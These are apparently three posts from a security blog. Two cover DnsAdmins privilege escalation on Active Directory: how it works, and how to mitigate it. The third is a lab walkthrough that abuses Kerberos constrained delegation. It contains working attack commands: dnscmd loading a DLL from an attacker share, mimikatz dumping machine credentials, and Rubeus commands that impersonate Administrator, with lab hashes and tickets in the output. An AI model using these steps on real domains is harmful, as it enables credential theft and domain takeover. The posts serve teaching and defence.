phackt.org

How to mitigate DnsAdmins privilege escalation ?

Wed, 12 May 2021 00:00:00 +0000

Hello,

Glad to see you in this second part of this post. In our previous article we showed which rights were involved in the DnsAdmins privilege escalation. Now let’s talk about how to properly mitigate this.

First of all, a few words about the Security Descriptor Propagator (SDProp) ;

Within Active Directory, a default set of highly privileged accounts and groups are considered protected accounts and groups.

With protected accounts and groups, the objects' permissions are set and enforced via an automatic process that ensures the permissions on the objects remains consistent even if the objects are moved the directory. Even if somebody manually changes a protected object's permissions, this process ensures that permissions are returned to their defaults quickly.

Additionally, permissions inheritance is disabled on protected groups and accounts, which means that even if the accounts and groups are moved to different locations in the directory, they do not inherit permissions from their new parent objects.

Inheritance is disabled on the AdminSDHolder object so that permission changes to the parent objects do not change the permissions of AdminSDHolder.

This last sentence makes sense because the security descriptor used as a template to protect sensitive groups and users is stored in the nTSecurityDescriptor attribute from the AdminSDHolder object in Active Directory. The AdminSDHolder object is of class container and has a DN of CN=AdminSDHolder,CN=System,<Domain NC DN>.

Even if this is not a post about detailing the SDProp mechanism, why is this important ? Because this security mechanism called Security Descriptor Propagator (SDProp) aims at cutting any potential control paths to these Protected Users and Groups as they are highly privileged.

Unfortunately, DnsAdmins is not targeted by this security mechanism .

What is the algorithm to define which object deserves to be protected by the SDProp ? (taken from the ADTS - 3.1.1.6.1.2 Protected Objects) ;

d = domain;
o = protected security principal object

if  (
        (o!objectClass = group AND attribute o!groupType & GROUP_TYPE_SECURITY_ENABLED != 0) OR (o!objectClass = user)
    )
AND 
    (
        o!objectSid = d!objectSid + RID
    )
AND 
    (
        o is a member, directly or transitively, of any group in the set:
            built-in well-known group with RID = DOMAIN_ALIAS_RID_ADMINS
            built-in well-known group with RID = DOMAIN_ALIAS_RID_ACCOUNT_OPS
            built-in well-known group with RID = DOMAIN_ALIAS_RID_SYSTEM_OPS
            built-in well-known group with RID = DOMAIN_ALIAS_RID_PRINT_OPS
            built-in well-known group with RID = DOMAIN_ALIAS_RID_BACKUP_OPS
            built-in well-known group with RID = DOMAIN_ALIAS_RID_REPLICATOR
            account domain well-known group with RID = DOMAIN_GROUP_RID_ADMINS
            account domain well-known group with RID = DOMAIN_GROUP_RID_SCHEMA_ADMINS
            account domain well-known group with RID = DOMAIN_GROUP_RID_ENTERPRISE_ADMINS
    )
OR  
    (
        is one of the following well-known security principals:
            of class user with RID = DOMAIN_USER_RID_ADMIN
            of class user with RID = DOMAIN_USER_RID_KRBTGT
            of class group with RID = DOMAIN_GROUP_RID_CONTROLLERS
            of class group with RID = DOMAIN_GROUP_RID_READONLY_CONTROLLERS
    )

No mention to DnsAdmins here, even if we know that being member of DnsAdmins compromised domain.

At least we can manually set ACEs as restricted as the AdminSDHolder ones thanks to the cmdlet Set-ADSyncRestrictedPermissions from the AdSyncConfig.psm1 module. This is part of the recommendations shared by this Active Directory guide.

The AzureADConnect.msi package can be downloaded from https://go.microsoft.com/fwlink/?LinkId=615771.

The AdSyncConfig.psm1 module may be extracted from the Azure AD Connect installer with msiexec:
msiexec /a "AzureADConnect.msi" /qb TARGETDIR=c:\temp\

Mitigations

DnsAdmins cleared

Keep the DnsAdmins group empty, prefer a delegation group to manage your DNS service and to allow DNS zone updates. This is done thanks to the two following steps ;

STEP 1: ALLOW ACCESS TO RPC USED BY DNS MANAGEMENT MMC SNAP-INS

In the domain naming context, under the CN=System container, set the following access rights on the CN=MicrosoftDNS container for your trustee delegation group ;

STEP 2: ALLOW DNS ZONE MODIFICATIONS

In the DC=DomainDnsZones naming context, on every zone you wish to delegate management, enable inheritance and set the following access rights on the CN=MicrosoftDNS container for your trustee delegation group ;

DnsAdmins security descriptor

This is an overview of the DnsAdmins security descriptor ;

Owner

The group should be changed, DnsAdmins should be owned by Domain Admins ;

ACL

Set rights at least as strict as the AdminSDHolder ones ;

Import-Module "C:\Program Files\Microsoft Azure Active Directory Connect\AdSyncConfig\AdSyncConfig.psm1"
$credential = Get-Credential
Set-ADSyncRestrictedPermissions -ADConnectorAccountDN "CN=DnsAdmins,CN=Users,DC=phackt,DC=local" -Credential $credential

You can check that the DnsAdmins security descriptor is blocking inheritable ACEs ;

Get-ADSyncObjectsWithInheritanceDisabled -SearchBase "CN=DnsAdmins,CN=Users,DC=phackt,DC=local" -ObjectClass '*'

DistinguishedName : CN=DnsAdmins,CN=Users,DC=phackt,DC=local
Name              : DnsAdmins
ObjectClass       : group
ObjectGUID        : 54d747e8-f9c2-461b-b8f2-5cc0b99249cc
ObjectSID         : S-1-5-21-3816950244-2414788102-2833019223-1101
sAMAccountName    : DnsAdmins

You should get a security descriptor which should look like this ;

The DACL_PROTECTED parameter shows that the descriptor is blocking inheritable ACEs

As you see it is a way more restrictive than the original AdminSDHolder security descriptor shown below ;

Also you can set, on the DnsAdmins group, a Deny ACE forbidding Everyone for the WRITE_OWNER right (remember that being owner of an object provides the WRITE_DAC and READ_CONTROL over the object).

However if you do this remember that replaying the Set-ADSyncRestrictedPermissions cmdlet will reset the DACL and delete this ACE (on the other hand you could update the AdSyncConfig.psm1 module to match your needs).

MicrosoftDNS security descriptor

As seen previously, deleting the DnsAdmins RIGHT_DS_WRITE_PROPERTY_EXTENDED right for the MicrosoftDNS container will prevent an attacker from writing the registry key to set the path of an arbitrary DLL to be loaded by the DNS service.

However i don’t know what is the impact if you benefits from the Microsoft support and if they need to exceptionally perform a maintenance operation, from DnsAdmins, which needs this right (nevertheless i never faced this situation).

Conclusion

Firstly i thought it was possible to add a new security group to be targeted by the SDProp mechanism but no, it’s not (and as i was said, it’s not for tomorrow). At least we can manually set some restricted rights on it. Also i’m having a look at creating a routine which will frequently override the DnsAdmins ntSecurityDescriptor based on the AdminSDHolder one to simulate the SDProp mechanism for custom groups.

DnsAdmins is one of the so many ways an attacker can gain control of your Active Directory. If you are looking for a complete Active Directory security assessment checklist : https://www.cert.ssi.gouv.fr/uploads/guide-ad.html.

[UPDATE 2021/12/06]: According to this article, it seems that the issue has been finally fixed by Microsoft.

Thanks folks for reading,
Cheers.

Why DnsAdmins privilege escalation is still working ?

Thu, 22 Apr 2021 00:00:00 +0000

Hello,

In this article, first part of a serie, i’m talking about DnsAdmins and why this is a group you should take care of. I know that several articles talk about the privilege escalation (DNS service running on a domain controller and loading an arbitrary DLL).

We will quickly review this attack, but mainly i would rather focus on why it is still working nowadays, which permissions do you need to run this attack. I will conclude in a second part with the mitigations which can be implemented to prevent this attack.

What is DnsAdmins ?

Long story short, as mentioned in the Active Directory guide from the french cybersecurity national agency (ANSSI) ;

members of the DnsAdmins group are granted access rights to manage a Microsoft DNS service. 

So as a member of DnsAdmins group, you can manage your DNS zones and DNS services. You can for example create a new DNS zone, manage your DNS entries, start / stop the dns.exe service which is running as SYSTEM and being hosted, most of the time, by a domain controller. More generally you can perform any setup and configuration tasks dealing with your DNS servers.

We already know that a privilege escalation exists from a user being a member of DnsAdmins. As a reminder from https://adsecurity.org/?p=4064 ;

member of DnsAdmins or have write access to a DNS server object
DNS management is performed over RPC (UUID is 50ABC2A4–574D-40B3–9D66-EE4FD5FBA076) and the transport mechanism is the \PIPE\DNSSERVER named pipe.
According to Microsoft protocol specification, the “ServerLevelPluginDll” operation enables us to load a dll of our choosing (with no verification of dll path).
dnscmd.exe already implements this option: dnscmd.exe /config /serverlevelplugindll \\path\to\dll
When executing this dnscmd.exe command as a user that is a member of DnsAdmins, the following registry key is populated: HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\services\DNS\Parameters\ServerLevelPluginDll
Restarting the DNS service will load the DLL in this path; however, the DLL needs to contain “one of the DnsPluginInitialize, DnsPluginCleanup or DnsPluginQuery exports.”
The DLL simply needs to be available on a network share that the Domain Controller’s computer account can access.

As said ;

DNS management is performed over RPC (UUID is 50ABC2A4–574D-40B3–9D66-EE4FD5FBA076) and the transport mechanism is the \PIPE\DNSSERVER named pipe

Let’s check ;

C:\Users\attacker\Documents\impacket>rpcdump.py DC01
...
Protocol: [MS-DNSP]: Domain Name Service (DNS) Server Management 
Provider: dns.exe 
UUID    : 50ABC2A4-574D-40B3-9D66-EE4FD5FBA076 v5.0 
Bindings: 
          ncacn_ip_tcp:0.0.0.0[49679]
...

MicrosoftDNS container

CN=System is a top-level container of a domain naming context, which is used for miscellaneous domain configuration objects. Examples include trust objects, DNS objects, and group policy objects. It contains the CN=MicrosoftDNS container.

In general a service with specific access rights stores its security settings in the registry key HKLM\System\CurrentControlSet\Services\<service_name>\security.
In our case, the dns service will use as a security descriptor the one applied to the LDAP MicrosoftDNS object.

Thanks to ldp.exe, let’s have a look at the MicrosoftDNS security descriptor ;

You also can read the ntSecurityDescriptor attribute thanks to this command ;

PS C:\> (Get-ADObject "CN=MicrosoftDNS,CN=System,$((Get-ADRootDSE).defaultNamingContext)" -Properties ntSecurityDescriptor | select -ExpandProperty ntSecurityDescriptor).access | Where-Object {$_.IdentityReference -Like "*DnsAdmins*"}


ActiveDirectoryRights : CreateChild, DeleteChild, ListChildren, ReadProperty, DeleteTree, ExtendedRight, Delete, GenericWrite, WriteDacl, WriteOwner
InheritanceType       : All
ObjectType            : 00000000-0000-0000-0000-000000000000
InheritedObjectType   : 00000000-0000-0000-0000-000000000000
ObjectFlags           : None
AccessControlType     : Allow
IdentityReference     : PHACKT\DnsAdmins
IsInherited           : False
InheritanceFlags      : ContainerInherit
PropagationFlags      : None

With this last command you will get the GENERIC_WRITE right, which stands for RIGHT_READ_CONTROL | RIGHT_DS_WRITE_PROPERTY | RIGHT_DS_WRITE_PROPERTY_EXTENDED.

So according to the Active Directory Technical Specification (Page 419), what is the RIGHT_DS_WRITE_PROPERTY_EXTENDED and why is it important in our exploitation ?

What are the necessary rights for the exploitation

Let’s play with DnsAdmins rights and see what happens in the context of a DnsAdmins member. Let’s assume that our attacker user got a control path to add himself to DnsAdmins for example ;

PS C:\> Get-ADGroupMember DnsAdmins


distinguishedName : CN=attacker,CN=Users,DC=phackt,DC=local
name              : attacker
objectClass       : user
objectGUID        : 1cab0c62-e28b-4a80-b13f-f1ff515d6d44
SamAccountName    : attacker
SID               : S-1-5-21-3816950244-2414788102-2833019223-1612

PS C:\> whoami
phackt\attacker

PS C:\> dnscmd DC01.PHACKT.LOCAL /config /serverlevelplugindll \\attackermachine\dll\mimilib.dll

Registry property serverlevelplugindll successfully reset.
Command completed successfully

dnscmd.exe will need the DNS RSAT installed:

Add-WindowsCapability –online –Name "Rsat.Dns.Tools~~~~0.0.1.0"

So what happened ?

The ServerPluginDll has been set, you can restart the DNS service to trigger your exploit :

sc.exe \\dc01.phackt.local stop dns
sc.exe \\dc01.phackt.local start dns

Now let’s drop the RIGHT_DS_WRITE_PROPERTY_EXTENDED right ;

Now let’s get back to our exploitation ;

Hum ok it does not work anymore. So let’s rollback and drop this time the RIGHT_DS_WRITE_PROPERTY ;

We are also getting ERROR_ACCESS_DENIED.

First conclusion

We can run the DnsAdmins privilege escalation because DnsAdmins is a trustee with the RIGHT_DS_WRITE_PROPERTY and RIGHT_DS_WRITE_PROPERTY_EXTENDED rights on MicrosoftDNS container. As mentioned, the dns.exe service is using the MicrosoftDNS security descriptor to define its access rights.

RIGHT_DS_WRITE_PROPERTY_EXTENDED :

The right to perform an operation controlled by a validated write access right. The ObjectType member of an ACE can contain a GUID that identifies the validated write. If ObjectType does not contain a GUID, the ACE controls the rights to perform all validated write operations associated with the object.

We understand that it allows the trustee (DnsAdmins) to write any extended property of our dns service. It makes sense that the needed rights expected to edit the registry key (the write permissions we just talked about) are checked in the code of the DNS service. May be it should be worth reversing the RPC exposed.

We will review in a second part why DnsAdmins has to be considered as a Protected Group and the other mitigations to implement.

Let’s have a look at the following groups ;

PS C:\> Get-ADGroup DnsAdmins -Properties members,admincount


DistinguishedName : CN=DnsAdmins,CN=Users,DC=phackt,DC=local
GroupCategory     : Security
GroupScope        : DomainLocal
Members           : {}
Name              : DnsAdmins
ObjectClass       : group
ObjectGUID        : 54d747e8-f9c2-461b-b8f2-5cc0b99249cc
SamAccountName    : DnsAdmins
SID               : S-1-5-21-3816950244-2414788102-2833019223-1101



PS C:\> Get-ADGroup 'Domain Admins' -Properties members,admincount


admincount        : 1
DistinguishedName : CN=Domain Admins,CN=Users,DC=phackt,DC=local
GroupCategory     : Security
GroupScope        : Global
Members           : {CN=testdaadmin,CN=Users,DC=phackt,DC=local, CN=Administrator,CN=Users,DC=phackt,DC=local}
Name              : Domain Admins
ObjectClass       : group
ObjectGUID        : 6e647868-0e92-4686-b555-e4b5b53e1a15
SamAccountName    : Domain Admins
SID               : S-1-5-21-3816950244-2414788102-2833019223-512

Keep in mind that for the Domain Admins group, you can see the proof that the Security Descriptor Propagator has been processed thanks to the property admincount set to 1, meaning that “Domain Admins” is a Protected Group as we will see later. It’s not the case for DnsAdmins.

Thanks for reading and see you in part 2,
Phackt.

Kerberos constrained delegation with protocol transition

Fri, 27 Nov 2020 00:00:00 +0000

Hello,

Today, we are talking about the exploitation of Kerberos protocol extensions S4U2Self and S4U2Proxy in order to impersonate a privileged user of the domain.

This post aims at focusing on the Kerberos constrained delegation with protocol transition which we will shorten T2A4D (TrustedToAuthForDelegation); how to enumerate it, how to exploit it and use it as a method of persistence.
To not reinvent the wheel, you will find a very good article introducing the kerberos delegation on the blog hackndo.

Implementation of the constrained delegation with protocol transition + msDS-AllowedToDelegateTo

Prerequisites

There are two methods to benefit from the Active Directory cmdlets:

Get-WindowsCapability -Name Rsat.ActiveDirectory* -Online | Add-WindowsCapability -Online
N.B: can also be done offline thanks to the downloadable iso
https://github.com/samratashok/ADModule

TrustedToAuthForDelegation

srv$ is a machine account of the domain.

Get-ADComputer -Identity srv | Set-ADAccountControl -TrustedToAuthForDelegation $True
Set-ADComputer -Identity srv -Add @{'msDS-AllowedToDelegateTo'=@('TIME/DC.WINDOMAIN.LOCAL','TIME/DC')}

or through GUI:

Note that the constrained delegation can also be based on the resource (property msds-allowedtoactonbehalfofotheridentity).
Indeed, it seems more consistent to give legitimacy to a resource to decide which other resource can access it. We will come back to this later.

Let’s get our hands dirty.

Enumeration

The first interesting thing is to be able to list the service accounts affected by T2A4D :

PS C:\tools> Get-ADObject -LDAPFilter "(useraccountcontrol:1.2.840.113556.1.4.803:=16777216)" -Properties distinguishedName,samAccountName,samAccountType,userAccountControl,msDS-AllowedToDelegateTo,servicePrincipalName | fl


useraccountcontrol       : WORKSTATION_TRUST_ACCOUNT, TRUSTED_TO_AUTH_FOR_DELEGATION
serviceprincipalname     : {WSMAN/SRV, WSMAN/SRV.windomain.local, TERMSRV/SRV, TERMSRV/SRV.windomain.local...}
msds-allowedtodelegateto : {TIME/DC, TIME/DC.WINDOMAIN.LOCAL}
distinguishedname        : CN=SRV,CN=Computers,DC=windomain,DC=local
samaccountname           : SRV$
samaccounttype           : MACHINE_ACCOUNT

The tool Invoke-Recon will find it all for you.

Attack scenario

We are going to compromise a machine srv$ with the attribute useraccountcontrol with the value trusted_to_auth_for_delegation.

The machine srv$ runs a service SA on which a user whatever authenticates using another mechanism than Kerberos (e.g. a web application with NTLM or basic authentication). In this case, SA (or the web application) did not get any service ticket proving authentication from whatever to SA. This service ticket is normally used by the S4U2Proxy mechanism in order to carry out the classical constrained delegation.

This is where the constrained delegation with protocol transition comes in. The latter will still allow the “double hop” and allow SA to request a service ticket for SB by taking the identity of the user whatever.

SB is either in the msDS-AllowedToDelegateTo field of SA:

Or SA is in the msDS-AllowedToActOnBehalfOfOtherIdentity field of SB (Resource-Based Constrained Delegation).

This delegation will involve the protocol extensions ServiceForUserToSelf and ServiceForUserToProxy :

S4U2Self will simulate the kerberos authentication and thus the service ticket request for the user whatever.
SA will somehow request a service ticket for itself for an arbitrary user.
The result is a forwardable T_SA service ticket that can then be passed to the S4U2Proxy mechanism, the latter used for classical constrained delegation.

Please note that the forwardable flag is was necessary and will be set if the delegating service account SA is marked as TRUSTED_TO_AUTH_FOR_DELEGATION.
S4U2Proxy will use T_SA as a proof of whatever authentication to SA in order to obtain a forwarded service ticket for SB.
The arbitrary user whatever connects to the service SB.

Note about TRUSTED_TO_AUTH_FOR_DELEGATION :

The S4U2Proxy mechanism will need a "forwardable" service ticket obtained thanks to S4U2Self mechanism. Note that the flag TRUSTED_TO_AUTH_FOR_DELEGATION is only used for the protocol transition, no flag is set with the classical constrained delegation.

Since KB4598347, the KDC will no more check the forwadable flag in the provided service ticket PAC but will directly look into the directory for the right conditions to be met to allow the S4U mechanism ;

- Is the "delegating" service legitimate to run the protocol transition (so here is SA marked as TRUSTED_TO_AUTH_FOR_DELEGATION) ?
- Is the "delegated" account (impersonated user) not a member of the Protected Users group and is not marked as "Account is sensitive and cannot be delegated" (NOT_DELEGATED), so is the account allowed to be delegated ?

If you heard about the Resource-Based Constrained Delegation attack (RBCD), you can wonder why if a trustee has the writeProperty right on a computer account it is so bad ?

Ok so first of all you can write the msds-AllowedToActOnBehalfOfOtherIdentity property with the SID of a principal you control, but ;

- Is this principal, the one that you just added to "msds-AllowedToActOnBehalfOfOtherIdentity", marked as TRUSTED_TO_AUTH_FOR_DELEGATION, so are you really legitimate to impersonate your user and run the S4U protocol extensions ?

In many cases this principal is not marked as TRUSTED_TO_AUTH_FOR_DELEGATION and you can not set this value as we will see later if you are not a privileged domain user.

So why the the RBCD attack is working ? ; for this special case of Resource-Based Constrained Delegation, it seems that the KDC only checks if the delegated user is OK to be delegated (not protected users, not NOT_DELEGATED), but the service (or here the principal which you edited the "msds-AllowedToActOnBehalfOfOtherIdentity" property) is not checked anymore to be legitimate to run the protocol transition (is it marked as TRUSTED_TO_AUTH_FOR_DELEGATION ?, aka T2A4D).

And why this is so interesting, because Microsoft decided that this is a feature, not a bug, so as a consequence this attack (RBCD) is still working on a fully patched Windows Server 2019 domain controller.

Now let’s get back to our scenario, if the T2A4D service account running SA has been compromised, we can generate a T_SA for an arbitrary account (Domain Administrator) for an authorized service (msDS-AllowedToDelegateTo or msds-AllowedToActOnBehalfOfOtherIdentity if resource-based).

The SPNs being interchangeable (unencrypted part of the service ticket), it is possible to modify it by another SPN of the same service account (ex: using the service class CIFS, which gives us the SPN CIFS/DC instead of TIME/DC).

We have to be able to delegate the impersonated account.

It must be neither Protected Users, nor “Account is sensitive and cannot be delegated”.

Exploitation

It will be necessary to first compile Rubeus (from the repo Rubeus, launch the project, “Build -> Build Solution”).

It is assumed here that the srv$ machine has been compromised beforehand. Let’s find out its credentials:

C:\tools> C:\tools\Mimikatz\x64\mimikatz.exe "privilege::debug" "sekurlsa::logonPasswords" "exit"

  .#####.   mimikatz 2.2.0 (x64) #19041 Sep 18 2020 19:18:29
 .## ^ ##.  "A La Vie, A L'Amour" - (oe.eo)
 ## / \ ##  /*** Benjamin DELPY `gentilkiwi` ( benjamin@gentilkiwi.com )
 ## \ / ##       > https://blog.gentilkiwi.com/mimikatz
 '## v ##'       Vincent LE TOUX             ( vincent.letoux@gmail.com )
  '#####'        > https://pingcastle.com / https://mysmartlogon.com ***/

mimikatz(commandline) # privilege::debug
Privilege '20' OK

mimikatz(commandline) # sekurlsa::logonPasswords

Authentication Id : 0 ; 19484783 (00000000:0129506f)
Session           : Interactive from 2
User Name         : DWM-2
Domain            : Window Manager
Logon Server      : (null)
Logon Time        : 9/25/2020 10:06:29 AM
SID               : S-1-5-90-0-2
        msv :
         [00000003] Primary
         * Username : srv$
         * Domain   : WINDOMAIN
         * NTLM     : b5858035cb595dd82050f9193b220232
         * SHA1     : b7607fdc98a40ae1cfb47478b8d929139d18f6cb
        tspkg :
        wdigest :
         * Username : SRV$
         * Domain   : WINDOMAIN
         * Password : (null)
        kerberos :
         * Username : SRV$
         * Domain   : windomain.local
         * Password : HXEq%dCV$Qp0`b-:LE,zT]x%Sl&G_n8C1eP(aIymKGM-d^E;J5>$uj*0? &duWc:"$tL$KtkJuqE+t[s@fw$#YA:O$Bh<%usYq@vU5 ,i6q^JK=q9bV:Ue?Y
        ssp :
        credman :
...

Now we need to unroll the S4U to generate a service ticket, not for TIME/DC, but for CIFS/DC for the WINDOMAIN\Administrator user.

Let’s check that the share \\DC\C$ is refused to us:

C:\tools>dir \\DC\C$
Access is denied.

First, we request a TGT for the compromised service account srv$:

C:\tools> C:\tools\Rubeus\Rubeus-master\Rubeus\bin\Debug\rubeus.exe asktgt /user:srv$ /domain:windomain.local /ntlm:b5858035cb595dd82050f9193b220232 /outfile:srv.tgt

   ______        _
  (_____ \      | |
   _____) )_   _| |__  _____ _   _  ___
  |  __  /| | | |  _ \| ___ | | | |/___)
  | |  \ \| |_| | |_) ) ____| |_| |___ |
  |_|   |_|____/|____/|_____)____/(___/

  v1.5.0

[*] Action: Ask TGT

[*] Using rc4_hmac hash: b5858035cb595dd82050f9193b220232
[*] Building AS-REQ (w/ preauth) for: 'windomain.local\srv$'
[+] TGT request successful!
[*] base64(ticket.kirbi):

      doIE5DCCBOCgAwIBBaEDAgEWooID9DCCA/BhggPsMIID6KADAgEFoREbD1dJTkRPTUFJTi5MT0NBTKIk
      MCKgAwIBAqEbMBkbBmtyYnRndBsPd2luZG9tYWluLmxvY2Fso4IDpjCCA6KgAwIBEqEDAgECooIDlASC
      A5DCmCD2rczQzoD7RBj3++6B+e7j68hijB0EoPUE87/OBc6Rw5hAPLzcWFJC8sfBuWWywOB/Y4O6Z9Xv
      IKQsk8mypOz33ffprU2NhtGGz9fcuy2oFKonUhUU3QSCgMT16KOfkpt2QYsan9zV4vUJpdEDrRCkdKCx
      +bu+dL63100hpjT8BlOZDsobNBPalaQRo1AihpxPgA48UtsDVB/hG0A4monF5x2wCBsoKy+7MEBi0CAa
      tLDv60ly4eIvRPijEXkN3Zmm/l1wIzWt4WpcGFdpoSTS+VLkgws9zHVCuoQlOGWURjTHRksHjIG6Exkf
      KXyCBCuO6vUxC+DUv3vCVC1wBEs5e7VXtGPhUzd8jJoSVCc+oSv4zXS+NzVf0RTr8ephMHxrXzzpCVQL
      y+3fLU+5/xcnzZiTypBDnjeluHKnlj+cZhQVniQU5PEhGw+DnaL22QZqOPY08VouXUtE44spKsrRGu8N
      qkwqdLVFTDSNNYgUGFGAvUG7QyWeC/XhbYvA5dpM9DUXhVo7ri3A4TZbLSfdrfiy14cOrl6AV8yD1Afo
      +Dks8KELhnba6JWdY6RVgbgXgvwDuy69JKrTPhifpTwEMrvbJejRnM0iD4YwwPTY6qT9xtXDRw5nfb/N
      yd2WZVmwlFsg3JBl0VCNAzfTxyZLhta5s8G8lRJmpBTUPgxWXVleta4v9XGGoWuT0WlmSveXSKrowwLZ
      BhHaSm0/IVRypnWyJYEY+PU7LXOsHDt3arS8WWMUV/niRYEVSIHM86AF5m7VJL52XRXeM45u/jtpWwfL
      b0/Dx0Hma2A/dti+2ns+PyjQxhMxj9iqKwyVAsNYkKlTL8HgD/NqT+Tt2Lh7CnhP6gqIpdQswTUq/XLO
      8FA/ZKtg13mF0A8FqbUKbmcntXc6+oBklkoQAilQSbShmrVuqLAMEoMOnc2l7S0tTGpDlPkNzIzcTk9l
      BdPbVvmWhMOu8JV/SywUW60pO3YpoBu8qpIuHUboFNbzBszDh+N0D9WK8Idt5YSQAqVpRQY01aDiO1H8
      rOq1yrDlShkzNG2pixurvyNsckdRRytESyggACpn12cXOWOOUcQzMyf42m+gyuj4WaoL98elvax0Qz51
      wSFpyoBq4gj1QF+h2RroJabfKBIwemCbeKD7CE5gQEkYLWCjoSNwzYGMEmtVZdDib8nlIRarsqNsrZGF
      RTpD9hg1sjrWJhZ9gjijgdswgdigAwIBAKKB0ASBzX2ByjCBx6CBxDCBwTCBvqAbMBmgAwIBF6ESBBD6
      04gmG9bj12WZbdd2ZJYboREbD1dJTkRPTUFJTi5MT0NBTKIRMA+gAwIBAaEIMAYbBHNydiSjBwMFAEDh
      AAClERgPMjAyMDA5MjUxODA1MDdaphEYDzIwMjAwOTI2MDQwNTA3WqcRGA8yMDIwMTAwMjE4MDUwN1qo
      ERsPV0lORE9NQUlOLkxPQ0FMqSQwIqADAgECoRswGRsGa3JidGd0Gw93aW5kb21haW4ubG9jYWw=

[*] Ticket written to srv.tgt


  ServiceName           :  krbtgt/windomain.local
  ServiceRealm          :  WINDOMAIN.LOCAL
  UserName              :  srv$
  UserRealm             :  WINDOMAIN.LOCAL
  StartTime             :  9/25/2020 6:05:07 PM
  EndTime               :  9/26/2020 4:05:07 AM
  RenewTill             :  10/2/2020 6:05:07 PM
  Flags                 :  name_canonicalize, pre_authent, initial, renewable, forwardable
  KeyType               :  rc4_hmac
  Base64(key)           :  +tOIJhvW49dlmW3XdmSWGw==

Then this TGT will allow us to initiate the S4U2Self. Then the S4U2Proxy will intervene as explained previously for the CIFS service (be aware of /altservice:cifs) :

C:\tools> C:\tools\Rubeus\Rubeus-master\Rubeus\bin\Debug\rubeus.exe s4u /ticket:srv.tgt /msdsspn:TIME/DC /impersonateuser:Administrator /domain:windomain.local /altservice:CIFS /ptt

   ______        _
  (_____ \      | |
   _____) )_   _| |__  _____ _   _  ___
  |  __  /| | | |  _ \| ___ | | | |/___)
  | |  \ \| |_| | |_) ) ____| |_| |___ |
  |_|   |_|____/|____/|_____)____/(___/

  v1.5.0

[*] Action: S4U

[*] Action: S4U

[*] Using domain controller: dc.windomain.local (192.168.38.102)
[*] Building S4U2self request for: 'srv$@WINDOMAIN.LOCAL'
[*] Sending S4U2self request
[+] S4U2self success!
[*] Got a TGS for 'Administrator@WINDOMAIN.LOCAL' to 'srv$@WINDOMAIN.LOCAL'
[*] base64(ticket.kirbi):

      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
      QUlOLkxPQ0FMqREwD6ADAgEBoQgwBhsEc3J2JA==

[+] Ticket successfully imported!
[*] Impersonating user 'Administrator' to target SPN 'TIME/DC'
[*]   Final ticket will be for the alternate service 'cifs'
[*] Using domain controller: dc.windomain.local (192.168.38.102)
[*] Building S4U2proxy request for service: 'TIME/DC'
[*] Sending S4U2proxy request
[+] S4U2proxy success!
[*] Substituting alternative service name 'cifs'
[*] base64(ticket.kirbi) for SPN 'cifs/dc':

